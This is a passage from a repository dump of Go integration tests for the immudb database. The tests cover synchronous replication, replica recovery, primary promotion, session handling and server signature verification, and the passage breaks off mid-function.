primaryState.TxId)\n\t\t\t\tsuite.Require().Equal(state.PrecommittedTxHash, primaryState.TxHash)\n\t\t\t})\n\t\t}(i)\n\t}\n\n\t// add multiple keys to make update the primary's state quickly\n\tfor i := 10; i < 30; i++ {\n\t\tkey := fmt.Sprintf(\"key%d\", i)\n\t\tvalue := fmt.Sprintf(\"value%d\", i)\n\t\t_, err = client.Set(ctx, []byte(key), []byte(value))\n\t\trequire.NoError(suite.T(), err)\n\t}\n\n\t// get the current precommit txn id state of primary\n\tprimaryState, err = client.CurrentState(ctx)\n\trequire.NoError(suite.T(), err)\n\n\t// close will unblock all goroutines\n\tclose(startCh)\n\n\twg.Wait()\n}\n\ntype SyncTestMinimumReplicasSuite struct {\n\tbaseReplicationTestSuite\n}\n\nfunc TestSyncTestMinimumReplicasSuite(t *testing.T) {\n\tsuite.Run(t, &SyncTestMinimumReplicasSuite{})\n}\n\n// this function executes before the test suite begins execution\nfunc (suite *SyncTestMinimumReplicasSuite) SetupTest() {\n\tsuite.baseReplicationTestSuite.SetupTest()\n\tsuite.SetupCluster(4, 2, 0)\n\tsuite.ValidateClusterSetup()\n}\n\n// TestMinimumReplicas ensures the primary can operate as long as the minimum\n// number of replicas send their confirmations\nfunc (suite *SyncTestMinimumReplicasSuite) TestMinimumReplicas() {\n\n\tctx, client, cleanup := suite.ClientForPrimary()\n\tdefer cleanup()\n\n\tsuite.Run(\"should commit successfully without one replica\", func() {\n\t\tsuite.StopReplica(0)\n\n\t\tctxTimeout, cancel := context.WithTimeout(ctx, time.Second)\n\t\tdefer cancel()\n\n\t\t_, err := client.Set(ctxTimeout, []byte(\"key1\"), []byte(\"value1\"))\n\t\trequire.NoError(suite.T(), err)\n\t})\n\n\tsuite.Run(\"should commit successfully without two replicas\", func() {\n\t\tsuite.StopReplica(1)\n\n\t\tctxTimeout, cancel := context.WithTimeout(ctx, 2*time.Second)\n\t\tdefer cancel()\n\n\t\t_, err := client.Set(ctxTimeout, []byte(\"key2\"), []byte(\"value2\"))\n\t\trequire.NoError(suite.T(), err)\n\t})\n\n\tsuite.Run(\"should not commit without three replicas\", func() {\n\t\tsuite.StopReplica(2)\n\n\t\tctxTimeout, cancel := context.WithTimeout(ctx, 2*time.Second)\n\t\tdefer cancel()\n\n\t\t_, err := client.Set(ctxTimeout, []byte(\"key3\"), []byte(\"value3\"))\n\t\trequire.Error(suite.T(), err)\n\t\trequire.Contains(suite.T(), err.Error(), \"deadline\")\n\t})\n\n\tsuite.Run(\"should commit again once first replica is back online\", func() {\n\t\tsuite.StartReplica(0)\n\n\t\tctxTimeout, cancel := context.WithTimeout(ctx, 2*time.Second)\n\t\tdefer cancel()\n\n\t\t_, err := client.Set(ctxTimeout, []byte(\"key4\"), []byte(\"value4\"))\n\t\trequire.NoError(suite.T(), err)\n\t})\n\n\tsuite.Run(\"should recover with all replicas replaced\", func() {\n\t\tsuite.StopReplica(0)\n\t\tsuite.StopReplica(3)\n\n\t\tsuite.AddReplica(true)\n\t\tsuite.AddReplica(true)\n\n\t\tctxTimeout, cancel := context.WithTimeout(ctx, 2*time.Second)\n\t\tdefer cancel()\n\n\t\t_, err := client.Set(ctxTimeout, []byte(\"key5\"), []byte(\"value5\"))\n\t\trequire.NoError(suite.T(), err)\n\t})\n\n\tsuite.Run(\"ensure correct data is in the database after all changes\", func() {\n\n\t\tprimaryState, err := client.CurrentState(ctx)\n\t\trequire.NoError(suite.T(), err)\n\n\t\tfor i := 4; i < 6; i++ {\n\t\t\tsuite.Run(fmt.Sprintf(\"replica %d\", i), func() {\n\t\t\t\tctx, client, cleanup := suite.ClientForReplica(i)\n\t\t\t\tdefer cleanup()\n\n\t\t\t\tsuite.WaitForCommittedTx(ctx, client, primaryState.TxId, 2*time.Second)\n\n\t\t\t\tfor i := 1; i <= 5; i++ {\n\t\t\t\t\tval, err := client.Get(ctx, []byte(fmt.Sprintf(\"key%d\", i)))\n\t\t\t\t\trequire.NoError(suite.T(), err)\n\t\t\t\t\trequire.Equal(suite.T(), []byte(fmt.Sprintf(\"value%d\", i)), val.Value)\n\t\t\t\t}\n\t\t\t})\n\t\t}\n\t})\n}\n\ntype SyncTestRecoverySpeedSuite struct {\n\tbaseReplicationTestSuite\n}\n\nfunc TestSyncTestRecoverySpeedSuite(t *testing.T) {\n\tsuite.Run(t, &SyncTestRecoverySpeedSuite{})\n}\n\nfunc (suite *SyncTestRecoverySpeedSuite) SetupTest() {\n\tsuite.baseReplicationTestSuite.SetupTest()\n\tsuite.SetupCluster(2, 1, 0)\n\tsuite.ValidateClusterSetup()\n}\n\nfunc (suite *SyncTestRecoverySpeedSuite) TestReplicaRecoverySpeed() {\n\n\tconst parallelWriters = 30\n\tconst samplingTime = time.Second * 5\n\n\t// Stop the replica, we don't replicate any transactions to it now\n\t// but we can still commit using the second replica\n\tsuite.StopReplica(0)\n\n\tvar txWritten uint64\n\n\tsuite.Run(\"Write transactions for 5 seconds at maximum speed\", func() {\n\t\tstart := make(chan bool)\n\t\tstop := make(chan bool)\n\t\twgStart := sync.WaitGroup{}\n\t\twgFinish := sync.WaitGroup{}\n\n\t\t// Run multiple clients in parallel - let's try to hammer the DB as much as possible\n\t\tfor i := 0; i < parallelWriters; i++ {\n\t\t\twgStart.Add(1)\n\t\t\twgFinish.Add(1)\n\t\t\tgo func(i int) {\n\t\t\t\tdefer wgFinish.Done()\n\n\t\t\t\tctx, client, cleanup := suite.ClientForPrimary()\n\t\t\t\tdefer cleanup()\n\n\t\t\t\t// Wait for the start signal\n\t\t\t\twgStart.Done()\n\t\t\t\t<-start\n\n\t\t\t\tfor j := 0; ; j++ {\n\n\t\t\t\t\tselect {\n\t\t\t\t\tcase <-stop:\n\t\t\t\t\t\tatomic.AddUint64(&txWritten, uint64(j))\n\t\t\t\t\t\treturn\n\t\t\t\t\tdefault:\n\t\t\t\t\t}\n\n\t\t\t\t\t_, err := client.Set(ctx,\n\t\t\t\t\t\t[]byte(fmt.Sprintf(\"client-%d-%d\", i, j)),\n\t\t\t\t\t\t[]byte(fmt.Sprintf(\"value-%d-%d\", i, j)),\n\t\t\t\t\t)\n\t\t\t\t\tsuite.Require().NoError(err)\n\t\t\t\t}\n\t\t\t}(i)\n\t\t}\n\n\t\t// Ready, steady...\n\t\twgStart.Wait()\n\n\t\t// Go...\n\t\tclose(start)\n\t\ttime.Sleep(samplingTime)\n\t\tclose(stop)\n\n\t\twgFinish.Wait()\n\n\t\tfmt.Println(\"Total TX written:\", txWritten)\n\t})\n\n\tvar tx *schema.TxHeader\n\n\tsuite.Run(\"Ensure replica can recover in reasonable amount of time\", func() {\n\n\t\t// Stop the second replica, now the DB is locked\n\t\tsuite.StopReplica(1)\n\n\t\tctx, client, cleanup := suite.ClientForPrimary()\n\t\tdefer cleanup()\n\n\t\tstate, err := client.CurrentState(ctx)\n\t\tsuite.Require().NoError(err)\n\t\tsuite.Require().Equal(state.TxId, txWritten, \"Ensure enough TXs were written\")\n\n\t\t// Check if we can recover the cluster and perform write within a reasonable amount of time\n\t\t// that was needed for initial sampling. The replica that was initially stopped and now\n\t\t// started has the same amount of transaction to grab from primary as the other one\n\t\t// which should take the same amount of time as the initial write period or less\n\t\t// (since the primary is not persisting data this time).\n\t\tctxTimeout, cancel := context.WithTimeout(ctx, samplingTime*4)\n\t\tdefer cancel()\n\n\t\tsuite.StartReplica(0) // 1 down\n\n\t\ttx, err = client.Set(ctxTimeout, []byte(\"key-after-recovery\"), []byte(\"value-after-recovery\"))\n\t\tsuite.NoError(err)\n\t})\n\n\tsuite.Run(\"Ensure the data is readable from replicas\", func() {\n\t\tsuite.StartReplica(1)\n\n\t\tsuite.Run(\"primary\", func() {\n\t\t\tctx, client, cleanup := suite.ClientForPrimary()\n\t\t\tdefer cleanup()\n\n\t\t\tval, err := client.GetAt(ctx, []byte(\"key-after-recovery\"), tx.Id)\n\t\t\tsuite.NoError(err)\n\t\t\tsuite.Equal([]byte(\"value-after-recovery\"), val.Value)\n\t\t})\n\n\t\tfor i := 0; i < suite.GetReplicasCount(); i++ {\n\t\t\tsuite.Run(fmt.Sprintf(\"replica %d\", i), func() {\n\t\t\t\tctx, client, cleanup := suite.ClientForReplica(i)\n\t\t\t\tdefer cleanup()\n\n\t\t\t\tsuite.WaitForCommittedTx(ctx, client, tx.Id, 5*time.Second)\n\n\t\t\t\tval, err := client.GetAt(ctx, []byte(\"key-after-recovery\"), tx.Id)\n\t\t\t\tsuite.NoError(err)\n\t\t\t\tsuite.Equal([]byte(\"value-after-recovery\"), val.Value)\n\t\t\t})\n\t\t}\n\t})\n\n}\n\ntype SyncTestWithAsyncReplicaSuite struct {\n\tbaseReplicationTestSuite\n}\n\nfunc TestSyncTestWithAsyncReplicaSuite(t *testing.T) {\n\tsuite.Run(t, &SyncTestWithAsyncReplicaSuite{})\n}\n\nfunc (suite *SyncTestWithAsyncReplicaSuite) SetupTest() {\n\tsuite.baseReplicationTestSuite.SetupTest()\n\tsuite.SetupCluster(2, 1, 1)\n\tsuite.ValidateClusterSetup()\n}\n\nfunc (suite *SyncTestWithAsyncReplicaSuite) TestSyncReplicationAlongWithAsyncReplicas() {\n\tconst parallelWriters = 30\n\tconst samplingTime = time.Second * 5\n\n\tvar txWritten uint64\n\n\tsuite.Run(\"Write transactions for 5 seconds at maximum speed\", func() {\n\t\tstart := make(chan bool)\n\t\tstop := make(chan bool)\n\t\twgStart := sync.WaitGroup{}\n\t\twgFinish := sync.WaitGroup{}\n\n\t\t// Run multiple clients in parallel - let's try to hammer the DB as much as possible\n\t\tfor i := 0; i < parallelWriters; i++ {\n\t\t\twgStart.Add(1)\n\t\t\twgFinish.Add(1)\n\t\t\tgo func(i int) {\n\t\t\t\tdefer wgFinish.Done()\n\n\t\t\t\tctx, client, cleanup := suite.ClientForPrimary()\n\t\t\t\tdefer cleanup()\n\n\t\t\t\t// Wait for the start signal\n\t\t\t\twgStart.Done()\n\t\t\t\t<-start\n\n\t\t\t\tfor j := 0; ; j++ {\n\t\t\t\t\tselect {\n\t\t\t\t\tcase <-stop:\n\t\t\t\t\t\tatomic.AddUint64(&txWritten, uint64(j))\n\t\t\t\t\t\treturn\n\t\t\t\t\tdefault:\n\t\t\t\t\t}\n\n\t\t\t\t\t_, err := client.Set(ctx,\n\t\t\t\t\t\t[]byte(fmt.Sprintf(\"client-%d-%d\", i, j)),\n\t\t\t\t\t\t[]byte(fmt.Sprintf(\"value-%d-%d\", i, j)),\n\t\t\t\t\t)\n\t\t\t\t\tsuite.Require().NoError(err)\n\t\t\t\t}\n\t\t\t}(i)\n\t\t}\n\n\t\t// Ready, steady...\n\t\twgStart.Wait()\n\n\t\t// Go...\n\t\tclose(start)\n\t\ttime.Sleep(samplingTime)\n\t\tclose(stop)\n\n\t\twgFinish.Wait()\n\n\t\tfmt.Println(\"Total TX written:\", txWritten)\n\t})\n\n\tsuite.Run(\"Ensure the data is available in all the replicas\", func() {\n\t\tctx, client, cleanup := suite.ClientForPrimary()\n\t\tdefer cleanup()\n\n\t\tstate, err := client.CurrentState(ctx)\n\t\tsuite.Require().NoError(err)\n\t\tsuite.Require().Equal(state.TxId, txWritten, \"Ensure enough TXs were written\")\n\n\t\tfor i := 0; i < suite.GetReplicasCount(); i++ {\n\t\t\tsuite.Run(fmt.Sprintf(\"replica %d\", i), func() {\n\t\t\t\tctx, client, cleanup := suite.ClientForReplica(i)\n\t\t\t\tdefer cleanup()\n\n\t\t\t\tsuite.WaitForCommittedTx(ctx, client, state.TxId, 20*time.Second)\n\t\t\t})\n\t\t}\n\t})\n\n}\n\ntype SyncTestChangingPrimarySuite struct {\n\tbaseReplicationTestSuite\n}\n\nfunc TestSyncTestChangingPrimarySuite(t *testing.T) {\n\tsuite.Run(t, &SyncTestChangingPrimarySuite{})\n}\n\nfunc (suite *SyncTestChangingPrimarySuite) SetupTest() {\n\tsuite.baseReplicationTestSuite.SetupTest()\n\tsuite.SetupCluster(2, 2, 0)\n\tsuite.ValidateClusterSetup()\n}\n\nfunc (suite *SyncTestChangingPrimarySuite) TestSyncTestChangingPrimarySuite() {\n\tvar txBeforeChangingPrimary *schema.TxHeader\n\tsuite.Run(\"commit before changing primary\", func() {\n\n\t\tctx, client, cleanup := suite.ClientForPrimary()\n\t\tdefer cleanup()\n\n\t\ttx, err := client.Set(ctx, []byte(\"key-before-primary-change\"), []byte(\"value-before-primary-change\"))\n\t\trequire.NoError(suite.T(), err)\n\n\t\ttxBeforeChangingPrimary = tx\n\t})\n\n\t// it's possible to promote any replica as new primary because ack from all replicas is required by primary\n\t// ensure the replica to be promoted is up to date with primary's commit state\n\tctx, client, cleanup := suite.ClientForReplica(1)\n\tsuite.WaitForCommittedTx(ctx, client, txBeforeChangingPrimary.Id, 1*time.Second)\n\tcleanup()\n\n\tsuite.PromoteReplica(1, 1)\n\n\tsuite.Run(\"commit after changing primary\", func() {\n\t\tctx, client, cleanup := suite.ClientForPrimary()\n\t\tdefer cleanup()\n\n\t\ttx, err := client.Set(ctx, []byte(\"key-after-primary-change\"), []byte(\"value-after-primary-change\"))\n\t\trequire.NoError(suite.T(), err)\n\n\t\tfor i := 0; i < suite.GetReplicasCount(); i++ {\n\t\t\tsuite.Run(fmt.Sprintf(\"check replica %d\", i), func() {\n\t\t\t\tctx, client, cleanup := suite.ClientForReplica(i)\n\t\t\t\tdefer cleanup()\n\n\t\t\t\t// Tests are flaky because it takes time to commit the\n\t\t\t\t// precommitted TX, so this function just ensures the state\n\t\t\t\t// is in sync between primary and replica\n\t\t\t\tsuite.WaitForCommittedTx(ctx, client, tx.Id, 30*time.Second) // Longer time since replica must reestablish connection to the primary\n\n\t\t\t\tval, err := client.GetAt(ctx, []byte(\"key-before-primary-change\"), txBeforeChangingPrimary.Id)\n\t\t\t\trequire.NoError(suite.T(), err)\n\t\t\t\trequire.Equal(suite.T(), []byte(\"value-before-primary-change\"), val.Value)\n\n\t\t\t\tval, err = client.GetAt(ctx, []byte(\"key-after-primary-change\"), tx.Id)\n\t\t\t\trequire.NoError(suite.T(), err)\n\t\t\t\trequire.Equal(suite.T(), []byte(\"value-after-primary-change\"), val.Value)\n\t\t\t})\n\t\t}\n\t})\n}\n\ntype SyncTestChangingMasterSettingsSuite struct {\n\tbaseReplicationTestSuite\n}\n\nfunc TestSyncTestChangingMasterSettingsSuite(t *testing.T) {\n\tsuite.Run(t, &SyncTestChangingMasterSettingsSuite{})\n}\n\nfunc (suite *SyncTestChangingMasterSettingsSuite) SetupTest() {\n\tsuite.baseReplicationTestSuite.SetupTest()\n\tsuite.SetupCluster(1, 1, 0)\n\tsuite.ValidateClusterSetup()\n}\n\nfunc (suite *SyncTestChangingMasterSettingsSuite) TestSyncTestChangingMasterSuite() {\n\tsuite.Run(\"get one locked writer due to insufficient confirmations\", func() {\n\t\tctx, mc, cleanup := suite.ClientForPrimary()\n\t\tdefer cleanup()\n\t\t_, err := mc.UpdateDatabaseV2(ctx, suite.primaryDBName, &schema.DatabaseNullableSettings{\n\t\t\tReplicationSettings: &schema.ReplicationNullableSettings{\n\t\t\t\tSyncAcks: &schema.NullableUint32{\n\t\t\t\t\tValue: 2,\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\tsuite.Require().NoError(err)\n\n\t\tctxWithTimeout, cancel := context.WithTimeout(ctx, time.Second)\n\t\tdefer cancel()\n\n\t\t_, err = mc.Set(ctxWithTimeout, []byte(\"key\"), []byte(\"value\"))\n\t\tsuite.Require().Error(err)\n\t\tsuite.Require().Contains(err.Error(), context.DeadlineExceeded.Error())\n\t})\n\n\tsuite.Run(\"recover from locked write by changing database settings\", func() {\n\t\tctx, mc, cleanup := suite.ClientForPrimary()\n\t\tdefer cleanup()\n\n\t\tctxWithTimeout, cancel := context.WithTimeout(ctx, 5*time.Second)\n\t\tdefer cancel()\n\n\t\t_, err := mc.UpdateDatabaseV2(ctxWithTimeout, suite.primaryDBName, &schema.DatabaseNullableSettings{\n\t\t\tReplicationSettings: &schema.ReplicationNullableSettings{\n\t\t\t\tSyncAcks: &schema.NullableUint32{\n\t\t\t\t\tValue: 1,\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\tsuite.Require().NoError(err)\n\n\t\tctxWithTimeout, cancel = context.WithTimeout(ctx, time.Second)\n\t\tdefer cancel()\n\n\t\t_, err = mc.Set(ctxWithTimeout, []byte(\"key2\"), []byte(\"value2\"))\n\t\tsuite.Require().NoError(err)\n\t})\n\n\tsuite.Run(\"ensure all commits are correctly persisted\", func() {\n\t\tctx, mc, cleanup := suite.ClientForPrimary()\n\t\tdefer cleanup()\n\n\t\tval, err := mc.Get(ctx, []byte(\"key\"))\n\t\tsuite.Require().NoError(err)\n\t\tsuite.Require().Equal([]byte(\"value\"), val.Value)\n\n\t\tval, err = mc.Get(ctx, []byte(\"key2\"))\n\t\tsuite.Require().NoError(err)\n\t\tsuite.Require().Equal([]byte(\"value2\"), val.Value)\n\t})\n}\n"
  },
  {
    "path": "pkg/integration/server_recovery_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage integration\n\nimport (\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestServerRecovertMode(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := server.DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithMetricsServer(false).\n\t\tWithPgsqlServer(false).\n\t\tWithMaintenance(true).\n\t\tWithAuth(true).\n\t\tWithPort(0)\n\n\ts := server.DefaultServer().WithOptions(serverOptions).(*server.ImmuServer)\n\n\terr := s.Initialize()\n\trequire.ErrorIs(t, err, server.ErrAuthMustBeDisabled)\n\n\tserverOptions = server.DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithMetricsServer(false).\n\t\tWithPgsqlServer(false).\n\t\tWithMaintenance(true).\n\t\tWithAuth(false).\n\t\tWithPort(0)\n\n\ts = server.DefaultServer().WithOptions(serverOptions).(*server.ImmuServer)\n\n\terr = s.Initialize()\n\trequire.NoError(t, err)\n\n\tgo func() {\n\t\ts.Start()\n\t}()\n\n\ttime.Sleep(1 * time.Second)\n\n\terr = s.Stop()\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/integration/session_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage integration\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"math/rand\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\tic \"github.com/codenotary/immudb/pkg/client\"\n\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"github.com/codenotary/immudb/pkg/server/sessions\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n\t\"google.golang.org/protobuf/types/known/emptypb\"\n)\n\nfunc TestSession_OpenCloseSession(t *testing.T) {\n\t_, client, _ := setupTestServerAndClient(t)\n\n\terr := client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\trequire.ErrorIs(t, err, ic.ErrSessionAlreadyOpen)\n\n\tclient.Set(context.Background(), []byte(\"myKey\"), []byte(\"myValue\"))\n\n\terr = client.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\terr = client.CloseSession(context.Background())\n\trequire.Error(t, err)\n\n\terr = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\trequire.NoError(t, err)\n\n\tclient.GetServiceClient().KeepAlive(context.Background(), &emptypb.Empty{})\n\trequire.NoError(t, err)\n\n\tentry, err := client.Get(context.Background(), []byte(\"myKey\"))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, entry)\n\trequire.Equal(t, []byte(\"myValue\"), entry.Value)\n\n\terr = client.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\tt.Run(\"Lowercase Database Name\", func(t *testing.T) {\n\t\terr = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"DeFaulTDb\")\n\t\trequire.NoError(t, err)\n\n\t\terr = client.CloseSession(context.Background())\n\t\trequire.NoError(t, err)\n\n\t})\n}\n\nfunc TestSession_OpenCloseSessionMulti(t *testing.T) {\n\tsessOptions := sessions.DefaultOptions().\n\t\tWithSessionGuardCheckInterval(time.Millisecond * 100).\n\t\tWithMaxSessionInactivityTime(time.Millisecond * 2000).\n\t\tWithMaxSessionAgeTime(time.Millisecond * 4000).\n\t\tWithTimeout(time.Millisecond * 2000)\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithSessionOptions(sessOptions).\n\t\tWithWebServer(false).\n\t\tWithPgsqlServer(false)\n\n\tbs := servertest.NewBufconnServer(options)\n\n\terr := bs.Start()\n\trequire.NoError(t, err)\n\tdefer bs.Stop()\n\n\twg := sync.WaitGroup{}\n\tfor i := 0; i < store.DefaultMaxConcurrency; i++ {\n\t\twg.Add(1)\n\t\tgo func(i int) {\n\t\t\tdefer wg.Done()\n\n\t\t\tclient := ic.NewClient().WithOptions(ic.\n\t\t\t\tDefaultOptions().\n\t\t\t\tWithDir(t.TempDir()).\n\t\t\t\tWithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}).\n\t\t\t\tWithHeartBeatFrequency(time.Millisecond * 100),\n\t\t\t)\n\t\t\terr := client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\t\t\trequire.NoError(t, err)\n\n\t\t\tmin := 10\n\t\t\tmax := 100\n\t\t\ttime.Sleep(time.Millisecond * time.Duration(rand.Intn(max-min)+min))\n\n\t\t\t_, err = client.Set(context.Background(), []byte(fmt.Sprintf(\"%d\", i)), []byte(fmt.Sprintf(\"%d\", i)))\n\t\t\trequire.NoError(t, err)\n\n\t\t\terr = client.CloseSession(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t}(i)\n\t}\n\twg.Wait()\n\trequire.Equal(t, 0, bs.Server.Srv.SessManager.SessionCount())\n}\n\nfunc TestSession_OpenSessionNotConnected(t *testing.T) {\n\tclient := ic.NewClient()\n\terr := client.CloseSession(context.Background())\n\trequire.ErrorIs(t, ic.ErrNotConnected, err)\n}\n\nfunc TestSession_ExpireSessions(t *testing.T) {\n\tsessOptions := sessions.DefaultOptions().\n\t\tWithSessionGuardCheckInterval(time.Millisecond * 100).\n\t\tWithMaxSessionInactivityTime(time.Millisecond * 200).\n\t\tWithMaxSessionAgeTime(time.Millisecond * 900).\n\t\tWithTimeout(time.Millisecond * 100)\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithSessionOptions(sessOptions)\n\n\tbs := servertest.NewBufconnServer(options)\n\n\terr := bs.Start()\n\trequire.NoError(t, err)\n\n\tdefer bs.Stop()\n\n\trand.Seed(time.Now().UnixNano())\n\twg := sync.WaitGroup{}\n\tfor i := 1; i <= 100; i++ {\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\tclient := ic.NewClient().WithOptions(ic.\n\t\t\t\tDefaultOptions().\n\t\t\t\tWithDir(t.TempDir()).\n\t\t\t\tWithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}),\n\t\t\t)\n\n\t\t\terr := client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\t\t\trequire.NoError(t, err)\n\n\t\t\ttx, err := client.NewTx(context.Background())\n\t\t\trequire.NoError(t, err)\n\n\t\t\ttime.Sleep(time.Millisecond * time.Duration(rand.Intn(1000)))\n\n\t\t\tth, err := tx.Commit(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Nil(t, th.Header)\n\t\t\trequire.Equal(t, uint32(0), th.UpdatedRows)\n\n\t\t\terr = client.CloseSession(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t}()\n\t}\n\twg.Wait()\n}\n\nfunc TestSession_CreateDBFromSQLStmts(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\t_, err := client.SQLExec(ctx, `\n\t\tCREATE DATABASE db1;\n\t\tUSE db1;\n\t\t\n\t\tBEGIN TRANSACTION;\n\t\t\tCREATE TABLE table1(id INTEGER AUTO_INCREMENT, title VARCHAR, PRIMARY KEY id);\n\n\t\t\tINSERT INTO table1(title) VALUES ('title1'), ('title2');\n\t\tCOMMIT;\n\t`, nil)\n\trequire.NoError(t, err)\n\n\terr = client.CloseSession(context.Background())\n\trequire.NoError(t, err)\n}\n\nfunc TestSession_ListUSersFromSQLStmts(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\t_, err := client.SQLExec(ctx, \"CREATE DATABASE db1\", nil)\n\trequire.NoError(t, err)\n\n\terr = client.CreateUser(ctx, []byte(\"user1\"), []byte(\"user1Password!\"), 1, \"defaultdb\")\n\trequire.NoError(t, err)\n\n\terr = client.CreateUser(ctx, []byte(\"user2\"), []byte(\"user2Password!\"), 1, \"defaultdb\")\n\trequire.NoError(t, err)\n\n\terr = client.CreateUser(ctx, []byte(\"user3\"), []byte(\"user3Password!\"), 1, \"db1\")\n\trequire.NoError(t, err)\n\n\terr = client.SetActiveUser(ctx, &schema.SetActiveUserRequest{Username: \"user2\", Active: false})\n\trequire.NoError(t, err)\n\n\tres, err := client.SQLQuery(ctx, \"SHOW USERS\", nil, false)\n\trequire.NoError(t, err)\n\trequire.Len(t, res.Rows, 2)\n\n\terr = client.CloseSession(context.Background())\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/integration/signature_verifier_interceptor_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage integration\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\tic \"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/signer\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n)\n\nfunc TestSignatureVerifierInterceptor(t *testing.T) {\n\tpk, err := signer.ParsePublicKeyFile(\"./../../test/signer/ec1.pub\")\n\trequire.NoError(t, err)\n\n\tc := ic.NewClient().WithServerSigningPubKey(pk)\n\n\t// creation and state sign\n\tstate := &schema.ImmutableState{\n\t\tTxId:   0,\n\t\tTxHash: []byte(`hash`),\n\t}\n\n\tsig, err := signer.NewSigner(\"./../../test/signer/ec1.key\")\n\trequire.NoError(t, err)\n\n\tstSig := server.NewStateSigner(sig)\n\terr = stSig.Sign(state)\n\trequire.NoError(t, err)\n\n\tinvoker := func(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, opts ...grpc.CallOption) error {\n\t\treturn nil\n\t}\n\n\terr = c.SignatureVerifierInterceptor(context.Background(), \"/immudb.schema.ImmuService/CurrentState\", &empty.Empty{}, state, nil, invoker, nil)\n\trequire.NoError(t, err)\n}\n\nfunc TestSignatureVerifierInterceptorUnableToVerify(t *testing.T) {\n\tpk, err := signer.ParsePublicKeyFile(\"./../../test/signer/ec1.pub\")\n\trequire.NoError(t, err)\n\n\tc := ic.NewClient().WithServerSigningPubKey(pk)\n\n\t// creation and state sign\n\tstate := &schema.ImmutableState{\n\t\tTxId:   0,\n\t\tTxHash: []byte(`hash`),\n\t\tSignature: &schema.Signature{\n\t\t\tPublicKey: []byte(`test`),\n\t\t\tSignature: []byte(`boom`),\n\t\t},\n\t}\n\n\tinvoker := func(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, opts ...grpc.CallOption) error {\n\t\treturn nil\n\t}\n\n\terr = c.SignatureVerifierInterceptor(context.Background(), \"/immudb.schema.ImmuService/CurrentState\", &empty.Empty{}, state, nil, invoker, nil)\n\trequire.ErrorContains(t, err, \"unable to verify signature\")\n}\n\nfunc TestSignatureVerifierInterceptorSignatureDoesntMatch(t *testing.T) {\n\tpk, err := signer.ParsePublicKeyFile(\"./../../test/signer/ec1.pub\")\n\trequire.NoError(t, err)\n\n\tc := ic.NewClient().WithServerSigningPubKey(pk)\n\n\t// creation and state sign\n\tstate := &schema.ImmutableState{\n\t\tTxId:   